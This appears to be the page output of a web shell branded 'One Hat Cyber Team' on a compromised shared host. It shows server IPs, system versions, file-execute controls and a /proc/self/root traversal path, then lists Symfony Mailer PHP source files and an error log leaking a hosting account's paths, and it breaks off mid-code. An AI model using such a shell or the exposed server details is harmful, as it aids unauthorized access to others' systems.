One Hat Cyber Team
Your IP:
216.73.216.30
Server IP:
198.54.114.155
Server:
Linux server71.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
Server Software:
LiteSpeed
PHP Version:
5.6.40
Create File
|
Create Folder
Execute
Dir :
~
/
proc
/
self
/
root
/
proc
/
thread-self
/
cwd
/
View File Name :
mailer.tar
Transport/FailoverTransport.php 0000644 00000001713 15111203614 0012731 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\Transport; /** * Uses several Transports using a failover algorithm. * * @author Fabien Potencier <fabien@symfony.com> */ class FailoverTransport extends RoundRobinTransport { private ?TransportInterface $currentTransport = null; protected function getNextTransport(): ?TransportInterface { if (null === $this->currentTransport || $this->isTransportDead($this->currentTransport)) { $this->currentTransport = parent::getNextTransport(); } return $this->currentTransport; } protected function getInitialCursor(): int { return 0; } protected function getNameSymbol(): string { return 'failover'; } } Transport/TransportInterface.php 0000644 00000001621 15111203614 0013060 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\Transport; use Symfony\Component\Mailer\Envelope; use Symfony\Component\Mailer\Exception\TransportExceptionInterface; use Symfony\Component\Mailer\SentMessage; use Symfony\Component\Mime\RawMessage; /** * Interface for all mailer transports. * * When sending emails, you should prefer MailerInterface implementations * as they allow asynchronous sending. * * @author Fabien Potencier <fabien@symfony.com> */ interface TransportInterface { /** * @throws TransportExceptionInterface */ public function send(RawMessage $message, Envelope $envelope = null): ?SentMessage; public function __toString(): string; } Transport/SendmailTransportFactory.php 0000644 00000001707 15111203614 0014251 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\Transport; use Symfony\Component\Mailer\Exception\UnsupportedSchemeException; /** * @author Konstantin Myakshin <molodchick@gmail.com> */ final class SendmailTransportFactory extends AbstractTransportFactory { public function create(Dsn $dsn): TransportInterface { if ('sendmail+smtp' === $dsn->getScheme() || 'sendmail' === $dsn->getScheme()) { return new SendmailTransport($dsn->getOption('command'), $this->dispatcher, $this->logger); } throw new UnsupportedSchemeException($dsn, 'sendmail', $this->getSupportedSchemes()); } protected function getSupportedSchemes(): array { return ['sendmail', 'sendmail+smtp']; } } Transport/AbstractTransport.php 0000644 00000007723 15111203614 0012734 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\Transport; use Psr\EventDispatcher\EventDispatcherInterface; use Psr\Log\LoggerInterface; use Psr\Log\NullLogger; use Symfony\Bridge\Twig\Mime\TemplatedEmail; use Symfony\Component\Mailer\Envelope; use Symfony\Component\Mailer\Event\FailedMessageEvent; use Symfony\Component\Mailer\Event\MessageEvent; use Symfony\Component\Mailer\Event\SentMessageEvent; use Symfony\Component\Mailer\Exception\LogicException; use Symfony\Component\Mailer\SentMessage; use Symfony\Component\Mime\Address; use Symfony\Component\Mime\BodyRendererInterface; use Symfony\Component\Mime\RawMessage; /** * @author Fabien Potencier <fabien@symfony.com> */ abstract class AbstractTransport implements TransportInterface { private ?EventDispatcherInterface $dispatcher; private LoggerInterface $logger; private float $rate = 0; private float $lastSent = 0; public function __construct(EventDispatcherInterface $dispatcher = null, LoggerInterface $logger = null) { $this->dispatcher = $dispatcher; $this->logger = $logger ?? new NullLogger(); } /** * Sets the maximum number of messages to send per second (0 to disable). * * @return $this */ public function setMaxPerSecond(float $rate): static { if (0 >= $rate) { $rate = 0; } $this->rate = $rate; $this->lastSent = 0; return $this; } public function send(RawMessage $message, Envelope $envelope = null): ?SentMessage { $message = clone $message; $envelope = null !== $envelope ? clone $envelope : Envelope::create($message); try { if (!$this->dispatcher) { $sentMessage = new SentMessage($message, $envelope); $this->doSend($sentMessage); return $sentMessage; } $event = new MessageEvent($message, $envelope, (string) $this); $this->dispatcher->dispatch($event); if ($event->isRejected()) { return null; } $envelope = $event->getEnvelope(); $message = $event->getMessage(); if ($message instanceof TemplatedEmail && !$message->isRendered()) { throw new LogicException(sprintf('You must configure a "%s" when a "%s" instance has a text or HTML template set.', BodyRendererInterface::class, get_debug_type($message))); } $sentMessage = new SentMessage($message, $envelope); try { $this->doSend($sentMessage); } catch (\Throwable $error) { $this->dispatcher->dispatch(new FailedMessageEvent($message, $error)); $this->checkThrottling(); throw $error; } $this->dispatcher->dispatch(new SentMessageEvent($sentMessage)); return $sentMessage; } finally { $this->checkThrottling(); } } abstract protected function doSend(SentMessage $message): void; /** * @param Address[] $addresses * * @return string[] */ protected function stringifyAddresses(array $addresses): array { return array_map(fn (Address $a) => $a->toString(), $addresses); } protected function getLogger(): LoggerInterface { return $this->logger; } private function checkThrottling(): void { if (0 == $this->rate) { return; } $sleep = (1 / $this->rate) - (microtime(true) - $this->lastSent); if (0 < $sleep) { $this->logger->debug(sprintf('Email transport "%s" sleeps for %.2f seconds', __CLASS__, $sleep)); usleep($sleep * 1000000); } $this->lastSent = microtime(true); } } Transport/AbstractApiTransport.php 0000644 00000003001 15111203614 0013347 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\Transport; use Symfony\Component\Mailer\Envelope; use Symfony\Component\Mailer\Exception\RuntimeException; use Symfony\Component\Mailer\SentMessage; use Symfony\Component\Mime\Address; use Symfony\Component\Mime\Email; use Symfony\Component\Mime\MessageConverter; use Symfony\Contracts\HttpClient\ResponseInterface; /** * @author Fabien Potencier <fabien@symfony.com> */ abstract class AbstractApiTransport extends AbstractHttpTransport { abstract protected function doSendApi(SentMessage $sentMessage, Email $email, Envelope $envelope): ResponseInterface; protected function doSendHttp(SentMessage $message): ResponseInterface { try { $email = MessageConverter::toEmail($message->getOriginalMessage()); } catch (\Exception $e) { throw new RuntimeException(sprintf('Unable to send message with the "%s" transport: ', __CLASS__).$e->getMessage(), 0, $e); } return $this->doSendApi($message, $email, $message->getEnvelope()); } protected function getRecipients(Email $email, Envelope $envelope): array { return array_filter($envelope->getRecipients(), fn (Address $address) => false === \in_array($address, array_merge($email->getCc(), $email->getBcc()), true)); } } Transport/Transports.php 0000644 00000004425 15111203614 0011427 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\Transport; use Symfony\Component\Mailer\Envelope; use Symfony\Component\Mailer\Exception\InvalidArgumentException; use Symfony\Component\Mailer\Exception\LogicException; use Symfony\Component\Mailer\SentMessage; use Symfony\Component\Mime\Message; use Symfony\Component\Mime\RawMessage; /** * @author Fabien Potencier <fabien@symfony.com> */ final class Transports implements TransportInterface { /** * @var array<string, TransportInterface> */ private array $transports = []; private TransportInterface $default; /** * @param iterable<string, TransportInterface> $transports */ public function __construct(iterable $transports) { foreach ($transports as $name => $transport) { $this->default ??= $transport; $this->transports[$name] = $transport; } if (!$this->transports) { throw new LogicException(sprintf('"%s" must have at least one transport configured.', __CLASS__)); } } public function send(RawMessage $message, Envelope $envelope = null): ?SentMessage { /** @var Message $message */ if (RawMessage::class === $message::class || !$message->getHeaders()->has('X-Transport')) { return $this->default->send($message, $envelope); } $headers = $message->getHeaders(); $transport = $headers->get('X-Transport')->getBody(); $headers->remove('X-Transport'); if (!isset($this->transports[$transport])) { throw new InvalidArgumentException(sprintf('The "%s" transport does not exist (available transports: "%s").', $transport, implode('", "', array_keys($this->transports)))); } try { return $this->transports[$transport]->send($message, $envelope); } catch (\Throwable $e) { $headers->addTextHeader('X-Transport', $transport); throw $e; } } public function __toString(): string { return '['.implode(',', array_keys($this->transports)).']'; } } Transport/SendmailTransport.php 0000644 00000010315 15111203614 0012714 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\Transport; use Psr\EventDispatcher\EventDispatcherInterface; use Psr\Log\LoggerInterface; use Symfony\Component\Mailer\Envelope; use Symfony\Component\Mailer\SentMessage; use Symfony\Component\Mailer\Transport\Smtp\SmtpTransport; use Symfony\Component\Mailer\Transport\Smtp\Stream\AbstractStream; use Symfony\Component\Mailer\Transport\Smtp\Stream\ProcessStream; use Symfony\Component\Mime\RawMessage; /** * SendmailTransport for sending mail through a Sendmail/Postfix (etc..) binary. * * Transport can be instantiated through SendmailTransportFactory or NativeTransportFactory: * * - SendmailTransportFactory to use most common sendmail path and recommended options * - NativeTransportFactory when configuration is set via php.ini * * @author Fabien Potencier <fabien@symfony.com> * @author Chris Corbyn */ class SendmailTransport extends AbstractTransport { private string $command = '/usr/sbin/sendmail -bs'; private ProcessStream $stream; private ?SmtpTransport $transport = null; /** * Constructor. * * Supported modes are -bs and -t, with any additional flags desired. * * The recommended mode is "-bs" since it is interactive and failure notifications are hence possible. * Note that the -t mode does not support error reporting and does not support Bcc properly (the Bcc headers are not removed). * * If using -t mode, you are strongly advised to include -oi or -i in the flags (like /usr/sbin/sendmail -oi -t) * * -f<sender> flag will be appended automatically if one is not present. */ public function __construct(string $command = null, EventDispatcherInterface $dispatcher = null, LoggerInterface $logger = null) { parent::__construct($dispatcher, $logger); if (null !== $command) { if (!str_contains($command, ' -bs') && !str_contains($command, ' -t')) { throw new \InvalidArgumentException(sprintf('Unsupported sendmail command flags "%s"; must be one of "-bs" or "-t" but can include additional flags.', $command)); } $this->command = $command; } $this->stream = new ProcessStream(); if (str_contains($this->command, ' -bs')) { $this->stream->setCommand($this->command); $this->transport = new SmtpTransport($this->stream, $dispatcher, $logger); } } public function send(RawMessage $message, Envelope $envelope = null): ?SentMessage { if ($this->transport) { return $this->transport->send($message, $envelope); } return parent::send($message, $envelope); } public function __toString(): string { if ($this->transport) { return (string) $this->transport; } return 'smtp://sendmail'; } protected function doSend(SentMessage $message): void { $this->getLogger()->debug(sprintf('Email transport "%s" starting', __CLASS__)); $command = $this->command; if ($recipients = $message->getEnvelope()->getRecipients()) { $command = str_replace(' -t', '', $command); } if (!str_contains($command, ' -f')) { $command .= ' -f'.escapeshellarg($message->getEnvelope()->getSender()->getEncodedAddress()); } $chunks = AbstractStream::replace("\r\n", "\n", $message->toIterable()); if (!str_contains($command, ' -i') && !str_contains($command, ' -oi')) { $chunks = AbstractStream::replace("\n.", "\n..", $chunks); } foreach ($recipients as $recipient) { $command .= ' '.escapeshellarg($recipient->getEncodedAddress()); } $this->stream->setCommand($command); $this->stream->initialize(); foreach ($chunks as $chunk) { $this->stream->write($chunk); } $this->stream->flush(); $this->stream->terminate(); $this->getLogger()->debug(sprintf('Email transport "%s" stopped', __CLASS__)); } } Transport/Dsn.php 0000644 00000004653 15111203614 0007777 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\Transport; use Symfony\Component\Mailer\Exception\InvalidArgumentException; /** * @author Konstantin Myakshin <molodchick@gmail.com> */ final class Dsn { private string $scheme; private string $host; private ?string $user; private ?string $password; private ?int $port; private array $options; public function __construct(string $scheme, string $host, string $user = null, #[\SensitiveParameter] string $password = null, int $port = null, array $options = []) { $this->scheme = $scheme; $this->host = $host; $this->user = $user; $this->password = $password; $this->port = $port; $this->options = $options; } public static function fromString(#[\SensitiveParameter] string $dsn): self { if (false === $parsedDsn = parse_url($dsn)) { throw new InvalidArgumentException('The mailer DSN is invalid.'); } if (!isset($parsedDsn['scheme'])) { throw new InvalidArgumentException('The mailer DSN must contain a scheme.'); } if (!isset($parsedDsn['host'])) { throw new InvalidArgumentException('The mailer DSN must contain a host (use "default" by default).'); } $user = '' !== ($parsedDsn['user'] ?? '') ? urldecode($parsedDsn['user']) : null; $password = '' !== ($parsedDsn['pass'] ?? '') ? urldecode($parsedDsn['pass']) : null; $port = $parsedDsn['port'] ?? null; parse_str($parsedDsn['query'] ?? '', $query); return new self($parsedDsn['scheme'], $parsedDsn['host'], $user, $password, $port, $query); } public function getScheme(): string { return $this->scheme; } public function getHost(): string { return $this->host; } public function getUser(): ?string { return $this->user; } public function getPassword(): ?string { return $this->password; } public function getPort(int $default = null): ?int { return $this->port ?? $default; } public function getOption(string $key, mixed $default = null): mixed { return $this->options[$key] ?? $default; } } Transport/error_log 0000644 00000014270 15111203614 0010453 0 ustar 00 [19-Nov-2025 12:09:15 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mailer\Transport\AbstractTransportFactory" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Transport/NullTransportFactory.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Transport/NullTransportFactory.php on line 19 [19-Nov-2025 12:10:15 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mailer\Transport\AbstractTransport" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Transport/SendmailTransport.php:34 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Transport/SendmailTransport.php on line 34 [19-Nov-2025 12:12:23 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mailer\Transport\AbstractHttpTransport" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Transport/AbstractApiTransport.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Transport/AbstractApiTransport.php on line 25 [19-Nov-2025 12:13:24 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mailer\Transport\RoundRobinTransport" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Transport/FailoverTransport.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Transport/FailoverTransport.php on line 19 [19-Nov-2025 12:14:24 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mailer\Transport\TransportInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Transport/AbstractTransport.php:31 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Transport/AbstractTransport.php on line 31 [19-Nov-2025 12:16:30 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mailer\Transport\AbstractTransport" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Transport/AbstractHttpTransport.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Transport/AbstractHttpTransport.php on line 25 [19-Nov-2025 12:17:32 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mailer\Transport\TransportInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Transport/RoundRobinTransport.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Transport/RoundRobinTransport.php on line 25 [19-Nov-2025 12:18:37 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mailer\Transport\AbstractTransportFactory" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Transport/NativeTransportFactory.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Transport/NativeTransportFactory.php on line 24 [19-Nov-2025 12:20:43 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mailer\Transport\AbstractTransport" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Transport/NullTransport.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Transport/NullTransport.php on line 21 [19-Nov-2025 12:27:06 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mailer\Transport\TransportFactoryInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Transport/AbstractTransportFactory.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Transport/AbstractTransportFactory.php on line 22 [19-Nov-2025 12:27:43 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mailer\Transport\AbstractTransportFactory" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Transport/SendmailTransportFactory.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Transport/SendmailTransportFactory.php on line 19 [19-Nov-2025 18:44:16 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mailer\Transport\AbstractTransportFactory" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Transport/NullTransportFactory.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Transport/NullTransportFactory.php on line 19 [19-Nov-2025 18:56:27 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mailer\Transport\AbstractTransportFactory" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Transport/NativeTransportFactory.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Transport/NativeTransportFactory.php on line 24 [19-Nov-2025 18:57:31 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mailer\Transport\RoundRobinTransport" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Transport/FailoverTransport.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Transport/FailoverTransport.php on line 19 [19-Nov-2025 18:58:32 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mailer\Transport\AbstractTransportFactory" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Transport/SendmailTransportFactory.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Transport/SendmailTransportFactory.php on line 19 [19-Nov-2025 19:01:34 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mailer\Transport\TransportFactoryInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Transport/AbstractTransportFactory.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Transport/AbstractTransportFactory.php on line 22 [19-Nov-2025 19:02:27 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mailer\Transport\AbstractTransport" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Transport/NullTransport.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Transport/NullTransport.php on line 21 Transport/RoundRobinTransport.php 0000644 00000007157 15111203614 0013253 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\Transport; use Symfony\Component\Mailer\Envelope; use Symfony\Component\Mailer\Exception\TransportException; use Symfony\Component\Mailer\Exception\TransportExceptionInterface; use Symfony\Component\Mailer\SentMessage; use Symfony\Component\Mime\RawMessage; /** * Uses several Transports using a round robin algorithm. * * @author Fabien Potencier <fabien@symfony.com> */ class RoundRobinTransport implements TransportInterface { /** * @var \SplObjectStorage<TransportInterface, float> */ private \SplObjectStorage $deadTransports; private array $transports = []; private int $retryPeriod; private int $cursor = -1; /** * @param TransportInterface[] $transports */ public function __construct(array $transports, int $retryPeriod = 60) { if (!$transports) { throw new TransportException(sprintf('"%s" must have at least one transport configured.', static::class)); } $this->transports = $transports; $this->deadTransports = new \SplObjectStorage(); $this->retryPeriod = $retryPeriod; } public function send(RawMessage $message, Envelope $envelope = null): ?SentMessage { $exception = null; while ($transport = $this->getNextTransport()) { try { return $transport->send($message, $envelope); } catch (TransportExceptionInterface $e) { $exception ??= new TransportException('All transports failed.'); $exception->appendDebug(sprintf("Transport \"%s\": %s\n", $transport, $e->getDebug())); $this->deadTransports[$transport] = microtime(true); } } throw $exception ?? new TransportException('No transports found.'); } public function __toString(): string { return $this->getNameSymbol().'('.implode(' ', array_map('strval', $this->transports)).')'; } /** * Rotates the transport list around and returns the first instance. */ protected function getNextTransport(): ?TransportInterface { if (-1 === $this->cursor) { $this->cursor = $this->getInitialCursor(); } $cursor = $this->cursor; while (true) { $transport = $this->transports[$cursor]; if (!$this->isTransportDead($transport)) { break; } if ((microtime(true) - $this->deadTransports[$transport]) > $this->retryPeriod) { $this->deadTransports->detach($transport); break; } if ($this->cursor === $cursor = $this->moveCursor($cursor)) { return null; } } $this->cursor = $this->moveCursor($cursor); return $transport; } protected function isTransportDead(TransportInterface $transport): bool { return $this->deadTransports->contains($transport); } protected function getInitialCursor(): int { // the cursor initial value is randomized so that // when are not in a daemon, we are still rotating the transports return mt_rand(0, \count($this->transports) - 1); } protected function getNameSymbol(): string { return 'roundrobin'; } private function moveCursor(int $cursor): int { return ++$cursor >= \count($this->transports) ? 0 : $cursor; } } Transport/TransportFactoryInterface.php 0000644 00000001317 15111203614 0014412 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\Transport; use Symfony\Component\Mailer\Exception\IncompleteDsnException; use Symfony\Component\Mailer\Exception\UnsupportedSchemeException; /** * @author Konstantin Myakshin <molodchick@gmail.com> */ interface TransportFactoryInterface { /** * @throws UnsupportedSchemeException * @throws IncompleteDsnException */ public function create(Dsn $dsn): TransportInterface; public function supports(Dsn $dsn): bool; } Transport/AbstractHttpTransport.php 0000644 00000004145 15111203614 0013567 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\Transport; use Psr\EventDispatcher\EventDispatcherInterface; use Psr\Log\LoggerInterface; use Symfony\Component\HttpClient\HttpClient; use Symfony\Component\Mailer\Exception\HttpTransportException; use Symfony\Component\Mailer\SentMessage; use Symfony\Contracts\HttpClient\HttpClientInterface; use Symfony\Contracts\HttpClient\ResponseInterface; /** * @author Victor Bocharsky <victor@symfonycasts.com> */ abstract class AbstractHttpTransport extends AbstractTransport { protected $host; protected $port; protected $client; public function __construct(HttpClientInterface $client = null, EventDispatcherInterface $dispatcher = null, LoggerInterface $logger = null) { $this->client = $client; if (null === $client) { if (!class_exists(HttpClient::class)) { throw new \LogicException(sprintf('You cannot use "%s" as the HttpClient component is not installed. Try running "composer require symfony/http-client".', __CLASS__)); } $this->client = HttpClient::create(); } parent::__construct($dispatcher, $logger); } /** * @return $this */ public function setHost(?string $host): static { $this->host = $host; return $this; } /** * @return $this */ public function setPort(?int $port): static { $this->port = $port; return $this; } abstract protected function doSendHttp(SentMessage $message): ResponseInterface; protected function doSend(SentMessage $message): void { try { $response = $this->doSendHttp($message); $message->appendDebug($response->getInfo('debug') ?? ''); } catch (HttpTransportException $e) { $e->appendDebug($e->getResponse()->getInfo('debug') ?? ''); throw $e; } } } Transport/NativeTransportFactory.php 0000644 00000004003 15111203614 0013733 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\Transport; use Symfony\Component\Mailer\Exception\TransportException; use Symfony\Component\Mailer\Exception\UnsupportedSchemeException; use Symfony\Component\Mailer\Transport\Smtp\SmtpTransport; use Symfony\Component\Mailer\Transport\Smtp\Stream\SocketStream; /** * Factory that configures a transport (sendmail or SMTP) based on php.ini settings. * * @author Laurent VOULLEMIER <laurent.voullemier@gmail.com> */ final class NativeTransportFactory extends AbstractTransportFactory { public function create(Dsn $dsn): TransportInterface { if (!\in_array($dsn->getScheme(), $this->getSupportedSchemes(), true)) { throw new UnsupportedSchemeException($dsn, 'native', $this->getSupportedSchemes()); } if ($sendMailPath = ini_get('sendmail_path')) { return new SendmailTransport($sendMailPath, $this->dispatcher, $this->logger); } if ('\\' !== \DIRECTORY_SEPARATOR) { throw new TransportException('sendmail_path is not configured in php.ini.'); } // Only for windows hosts; at this point non-windows // host have already thrown an exception or returned a transport $host = ini_get('SMTP'); $port = (int) ini_get('smtp_port'); if (!$host || !$port) { throw new TransportException('smtp or smtp_port is not configured in php.ini.'); } $socketStream = new SocketStream(); $socketStream->setHost($host); $socketStream->setPort($port); if (465 !== $port) { $socketStream->disableTls(); } return new SmtpTransport($socketStream, $this->dispatcher, $this->logger); } protected function getSupportedSchemes(): array { return ['native']; } } Transport/Smtp/EsmtpTransport.php 0000644 00000016457 15111203614 0013210 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\Transport\Smtp; use Psr\EventDispatcher\EventDispatcherInterface; use Psr\Log\LoggerInterface; use Symfony\Component\Mailer\Exception\TransportException; use Symfony\Component\Mailer\Exception\TransportExceptionInterface; use Symfony\Component\Mailer\Transport\Smtp\Auth\AuthenticatorInterface; use Symfony\Component\Mailer\Transport\Smtp\Stream\AbstractStream; use Symfony\Component\Mailer\Transport\Smtp\Stream\SocketStream; /** * Sends Emails over SMTP with ESMTP support. * * @author Fabien Potencier <fabien@symfony.com> * @author Chris Corbyn */ class EsmtpTransport extends SmtpTransport { private array $authenticators = []; private string $username = ''; private string $password = ''; private array $capabilities; public function __construct(string $host = 'localhost', int $port = 0, bool $tls = null, EventDispatcherInterface $dispatcher = null, LoggerInterface $logger = null, AbstractStream $stream = null, array $authenticators = null) { parent::__construct($stream, $dispatcher, $logger); if (null === $authenticators) { // fallback to default authenticators // order is important here (roughly most secure and popular first) $authenticators = [ new Auth\CramMd5Authenticator(), new Auth\LoginAuthenticator(), new Auth\PlainAuthenticator(), new Auth\XOAuth2Authenticator(), ]; } $this->setAuthenticators($authenticators); /** @var SocketStream $stream */ $stream = $this->getStream(); if (null === $tls) { if (465 === $port) { $tls = true; } else { $tls = \defined('OPENSSL_VERSION_NUMBER') && 0 === $port && 'localhost' !== $host; } } if (!$tls) { $stream->disableTls(); } if (0 === $port) { $port = $tls ? 465 : 25; } $stream->setHost($host); $stream->setPort($port); } /** * @return $this */ public function setUsername(string $username): static { $this->username = $username; return $this; } public function getUsername(): string { return $this->username; } /** * @return $this */ public function setPassword(#[\SensitiveParameter] string $password): static { $this->password = $password; return $this; } public function getPassword(): string { return $this->password; } public function setAuthenticators(array $authenticators): void { $this->authenticators = []; foreach ($authenticators as $authenticator) { $this->addAuthenticator($authenticator); } } public function addAuthenticator(AuthenticatorInterface $authenticator): void { $this->authenticators[] = $authenticator; } public function executeCommand(string $command, array $codes): string { return [250] === $codes && str_starts_with($command, 'HELO ') ? $this->doEhloCommand() : parent::executeCommand($command, $codes); } final protected function getCapabilities(): array { return $this->capabilities; } private function doEhloCommand(): string { try { $response = $this->executeCommand(sprintf("EHLO %s\r\n", $this->getLocalDomain()), [250]); } catch (TransportExceptionInterface $e) { try { return parent::executeCommand(sprintf("HELO %s\r\n", $this->getLocalDomain()), [250]); } catch (TransportExceptionInterface $ex) { if (!$ex->getCode()) { throw $e; } throw $ex; } } $this->capabilities = $this->parseCapabilities($response); /** @var SocketStream $stream */ $stream = $this->getStream(); // WARNING: !$stream->isTLS() is right, 100% sure :) // if you think that the ! should be removed, read the code again // if doing so "fixes" your issue then it probably means your SMTP server behaves incorrectly or is wrongly configured if (!$stream->isTLS() && \defined('OPENSSL_VERSION_NUMBER') && \array_key_exists('STARTTLS', $this->capabilities)) { $this->executeCommand("STARTTLS\r\n", [220]); if (!$stream->startTLS()) { throw new TransportException('Unable to connect with STARTTLS.'); } $response = $this->executeCommand(sprintf("EHLO %s\r\n", $this->getLocalDomain()), [250]); $this->capabilities = $this->parseCapabilities($response); } if (\array_key_exists('AUTH', $this->capabilities)) { $this->handleAuth($this->capabilities['AUTH']); } return $response; } private function parseCapabilities(string $ehloResponse): array { $capabilities = []; $lines = explode("\r\n", trim($ehloResponse)); array_shift($lines); foreach ($lines as $line) { if (preg_match('/^[0-9]{3}[ -]([A-Z0-9-]+)((?:[ =].*)?)$/Di', $line, $matches)) { $value = strtoupper(ltrim($matches[2], ' =')); $capabilities[strtoupper($matches[1])] = $value ? explode(' ', $value) : []; } } return $capabilities; } private function handleAuth(array $modes): void { if (!$this->username) { return; } $code = null; $authNames = []; $errors = []; $modes = array_map('strtolower', $modes); foreach ($this->authenticators as $authenticator) { if (!\in_array(strtolower($authenticator->getAuthKeyword()), $modes, true)) { continue; } $code = null; $authNames[] = $authenticator->getAuthKeyword(); try { $authenticator->authenticate($this); return; } catch (TransportExceptionInterface $e) { $code = $e->getCode(); try { $this->executeCommand("RSET\r\n", [250]); } catch (TransportExceptionInterface) { // ignore this exception as it probably means that the server error was final } // keep the error message, but tries the other authenticators $errors[$authenticator->getAuthKeyword()] = $e->getMessage(); } } if (!$authNames) { throw new TransportException(sprintf('Failed to find an authenticator supported by the SMTP server, which currently supports: "%s".', implode('", "', $modes)), $code ?: 504); } $message = sprintf('Failed to authenticate on SMTP server with username "%s" using the following authenticators: "%s".', $this->username, implode('", "', $authNames)); foreach ($errors as $name => $error) { $message .= sprintf(' Authenticator "%s" returned "%s".', $name, $error); } throw new 